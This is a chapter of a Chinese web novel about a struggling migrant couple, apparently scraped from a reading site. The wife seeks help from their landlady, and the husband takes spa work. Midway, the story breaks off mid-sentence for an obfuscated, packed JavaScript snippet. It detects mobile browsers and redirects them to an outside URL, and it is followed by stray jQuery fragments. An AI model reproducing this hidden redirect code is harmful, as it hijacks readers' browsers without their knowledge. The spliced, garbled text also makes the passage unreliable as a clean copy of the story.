5.第5章

作品:《只是娇弱妻子而已

    是啊。


    婵香缓缓跌坐下去,他们身上的证都是何田贵给办的,有时效的,弥渡处处森严,要办下居住证必须得有住处。


    现在住的地下室是何田贵租来的,现在把钱全卷走了,他们哪还有钱继续租?怕是连温饱都解决不了。


    瞿秋让他们回去问看看房东,能不能给通融下,缓交一月两月房租可不可行。


    “对,士宣,我们先回去找房东求求情,她人很好的,当初还是她介绍我来瞿师傅这儿学手艺。”婵香仿佛一下子抓住了主心骨,她抹抹眼泪,让梁士宣站端正,一起朝瞿秋连连鞠躬。


    瞿秋还是那副波澜不惊的神情,低着头将缝纫机的踏板踩得咔咔响。


    婵香与梁士宣相携离去,身后的缝纫机声顺通不滞涩,此刻在婵香的心里,好似那天籁音。


    观世音保佑,房东通情达理些罢。


    房东是位女人,年过四十,大家都叫她琴湘。


    据说年轻那会儿风流,老公死了后留下这一栋楼,至今未婚嫁,有个继子,但常年在国外,基本不回弥渡。


    靠收租为生,日子过得极为滋润。


    琴湘在麻将馆听完他们两夫妻的话,出来将指间夹着的女士香烟丢地上,一踩,旁边人闹哄哄笑,叫她把这年轻人收了,好过夜里被窝冰沁呀!


    梁士宣对这种声音极为不舒服,总觉得黑乎乎的馆里,那些眼睛充斥着红光,要将他们两人吃个干净,攥着婵香的手就想走。


    琴湘打量梁士宣,观他是能奔前程的相,就是心气高了些;又瞧婵香,典型的家庭妇女,这种人心里孩子老公最大,遇事就慌。


    没想到,竟能只身来乌烟障气的麻将馆,将她叫了出来。


    她可没看错,旁人的眼神都快黏她身上了,分明怕得发抖,生怕这群混家子动手动脚的,一把拉住她都不放手呢。


    琴湘嘴角有梨涡,笑起来让婵香一时失神,她抬手去摸婵香身上的料子,问她怎么怕还要进来?


    婵香声音带颤,说都是女人有什么好怕的。


    馥郁兰花香钻到鼻子里,婵香吸了吸鼻子,朝她求情。


    琴湘轻飘飘地笑,她问婵香:“我晓得的,你们暂时遇到了困难,难得托我帮个忙搭把手,我自是愿意的,婵香啊,我瞧你这一手针线活儿不错,可愿意这几日给我做两身衣裳?”


    “我做?”婵香捏了捏衣角,呼吸间都是兰花香味,她不解:“可我现在就只跟瞿师傅学了补衣服。”


    她无措地比划着琴湘身上的衣服,多好看,两相对比之下,她的衣服灰扑扑,说:“我做不出来这种的呀,我惯穿的,都,都说不好看呢。”


    傻姑娘,这会儿要起面子来了,人家哪里说的是不好看,都是明说她土里土气的。


    这年头,谁还穿绣鸳鸯的肚兜?回回悄悄搭在废墟外边去晒,以为没人发现,住楼上的,第二天清早一看就传遍了,笑得直不起腰来。


    真是乡下来的小土妞,这么久了,还是这一身衣服,这一嗓子温温柔柔的声音?


    琴湘眼睛笑眯起来,说哪有,很好看,让婵香把家收拾好了,再上她屋里量尺寸去。


    挥挥手,让他们俩快回去吧。


    得了通融,两夫妻道谢完,互相搀扶着回去。


    入目的房间,遍地狼藉。


    怪道文玉最近在外待的时间越来越久,有时候回来了,一个人坐床边都能走神,她过去说话,明明眼睛都看见她了,还是吓一大跳。


    婵香初时还以为是跟何田贵吵架心情不好,特特舍了两日的工钱请她吃鱼丸面。


    为了哄文玉别胡思乱想,碗里多加了两颗鱼蛋!单加要三毛钱一颗,她只舍得给自己加一颗。


    这件事她都没有告诉梁士宣。


    出门前宝儿妈妈说女人家要学会攒私房钱,她每日在瞿师傅那里做工,做一天工就给一天的工资,瞿师傅每日给她开两块五的工钱,这个梁士宣是知道的。


    但除此外,她一月会去三次瞿师傅家里,帮忙打扫卫生。


    人上了年纪,不好弯腰,也不好爬人字梯。


    有天要清早上门取衣服,就在瞿师傅楼上,她早早吃完饭就腿儿着就过去。


    谁成想瞿师傅换灯泡险些给腰闪了,若不是她多长了个心眼,瞿师傅怕是得遭殃一回。


    久了,亲近了。她每月去两三次,帮衬着些,瞿师傅要付她市场上保洁的钱,她推辞了两次,瞿师傅脸就黑了。


    不敢不收,又想起宝儿妈妈说要攒私房钱。


    这份钱,就这么存了起来。


    婵香忿忿地想,文玉真是坏!骗她人头费就算了,都决心卷钱走了,连她的私房钱也要骗吃进肚里去。


    她真傻,光知道文玉难受了,现如今她存在针线筐里的零钱都没了,她的心里好像也随之空了一小块。


    梁士宣一心都是接下来怎么办,进了地下室,眼前乱七八糟的一幕又由衷地感到烦躁。


    婵香忍住难过,打起精神来收拾房间。


    走两步,她想起来问问士宣饿不饿,她先去做碗面吃。


    梁士宣没胃口,她便专心打扫这一堆烂摊子。


    可不知怎的,这房间越收拾越乱,眼见天都快黑了,屋里已经暗得看不清脚下。


    婵香抱着一叠床单被套,累得坐在桌边凳子上,她眼巴巴望着梁士宣出去又回来,怅然又愤怒,脸揉了一次又一次,自己却半点帮不上忙。


    梁士宣过来,抱着她的后脑,低哑道:“香儿,是我苦了你了。”


    “不。”婵香埋在他身前摇头,她仰脸,望着丈夫,想要看清他的模样。


    可此刻天已经黑了下去,蜡烛也不知道去哪儿了,她只能摸,摸到他皱紧的眉头,心揪着疼了下。


    良久,她怯怯拉着丈夫的手臂,泫然若泣,“士宣,要不咱们回去吧?”


    不若就回县里头,一起经管那家书信店,好歹没有弥渡这般人心险恶,还能对父母敬份孝。


    如今身无分文,所谓前途完全虚无缥缈,他们的命运就跟一根线似的,在弥渡飘呀飘,飘到黑漆漆的地下室。


    滚了泥,摔了跤。


    梁士宣自认有一身的好本事,只是无处施展而已,见识过弥渡的繁华,婵香的话怎能教他甘心回去?


    只怕镇上的人坐等着看笑话。


    梁士宣沉默半晌,终是起身,宽慰婵香,“别怕,别急,我有门路的。”


    两人顾不得省钱了,点燃两盏煤油灯,又找隔壁借了几根蜡烛,抓紧时间收拾了起来。


    何田贵他们走得急,钱是卷跑了,可床被没动,橱柜上下的碗筷和米粮油好端端放着。


    婵香举着煤油灯看了看,估摸还能吃上半个多月。


    这下踏实多了,好歹眼前不用愁吃和住。


    梁士宣在外奔跑好几天,工地上是不用去了,压根找不到包工头,别提要钱,穿得邋里邋遢过去,保安老早就叫人赶走了,举着警棍,谁敢闹事就打谁,对方还要大声嚷嚷别碰瓷。


    梁士宣毕竟读过书,要脸面,几次三番碰壁之后,认栽,三个月的工钱一分没有。


    他不仅在奇隆区找活儿,现下残留的读书人脸面已经跌到了尘埃里,任人打量他,宛如案板上待价而沽的一块肉。


    梁士宣想起还在家中等他好消息的妻子,他今天又没找到活


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107161|195771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    计,迈入地下室的那条路都感到心肝颤了颤。


    直到有天夜里回来,他看见沿路电线杆上密密麻麻印的字,月薪两百起,驻足无法动弹分毫。


    “「际洲养生堂」急招搓澡、按摩师傅,月薪两百起,专业高级养生堂,多做多得让你的荷包爆爆.炸吧!Tel:1987-0619。”


    魔性洗脑的招聘语,梁士宣过目不忘,明知打完电话后得到的工作会与自己初时的理想背道而驰,可等对面官方正经的问话传来时,他竟松了口气。


    “一个月真的两百块?”


    “是哦先生,上岗之前不要忘记先去医院做全方位体检。”


    “包吃住吗?”


    “不呢先生,我们多劳多得,底薪200块,勤劳肯干七八年后买房洒洒水啦。”


    梁士宣挂断电话,付了小卖部老板两毛钱,咬咬牙,决定要去。


    婵香开心的不得了,丈夫找到工作了,那片区据说走两步能碰三个牛人,经济也比奇隆区发达得多。


    而且感觉也很正规,上岗前做全方位体检,有工作服,士宣带回来时她下水洗了两遍,手感好着呢。


    这会儿她陪着梁士宣在医院等报告,抱着他的胳膊东看看西看看,努力记住每一道流程。


    县里面的医院就怪复杂的,别提弥渡这个大地方了。


    梁士宣迈过心理那关,切实参观了一番「际洲」出来,由衷地感到有奔头了。


    「际洲」的工作繁忙,梁士宣每日回来倒头就睡,按摩是体力活,夜里也不搂着她了,呼噜越来越大,隔两天他就去底下那张架子床上了,怕给婵香吵到。


    他的饭量也越来越大,家里蒸的米不够吃,有时候婵香还要去外面买点鸡肉炖好,只给梁士宣吃,他消耗大,婵香拿出私房钱后还是不够吃。


    虽然「际洲」提供下午茶,但就是一些面包牛奶,吃多了,还要被同事们笑话。


    刚开始上班时,士宣每晚回来的状态倒还好,后面发现不对劲,她便偷偷随梁士宣去上班的地方。


    发现他做的全是些体力活,进去搓澡按背,都是五大三粗的男人,又累又吃不饱,难怪过后几晚,一到夜里他肚子就咕咕叫。


    听得她心里真不是滋味儿。


    婵香心疼梁士宣吃不饱,暗暗下定决心要在瞿师傅店里多多做工,衣服多做一件就多拿一份工钱。


    攒了快一个多月,她能匀出一些零花多做些管饱的吃食。


    每日早上做好,便放便当盒里让丈夫揣包里带上,中午放后厨里热热好歹能管一顿饱。


    可瞿师傅的裁缝店不是每天都有衣服补和修的,没衣服就没收入。


    婵香想啊想,想起「际洲」里总是缺保洁,动了这个心思,她便跟梁士宣提起。


    梁士宣不大愿意让她去。


    保洁都是些老阿姨,她去,不像样。


    而且里面来往进出的都不是寻常人,最次的,也是家里有点闲钱的耀祖,侍应生起码都要有高中学历,就怕冒冒失失跑楼上去冲撞了人。


    “我养家便好了,你喜欢针线活儿,那在家就安安心心地做点,别操心其他的。”梁士宣抚摸着她柔顺的长发,淡淡的馨香钻入鼻间,他熟稔地钻进柔软背心里,掐住握了握,体力活的加持下,力气竟大了许多。


    婵香难受地嘤一声,将胳膊环到他脖子后,低头,听见他说:“既在家闲着,不若给我送送饭吧,老是麻烦后厨也不好意思。”


    丈夫说得有理,婵香只好作罢。


    心底却隐隐升起甜蜜的负担。


    嘴角抿出弯弯的弧度,躺在他的臂弯里,想着哎,丈夫太在乎自己了怎么办。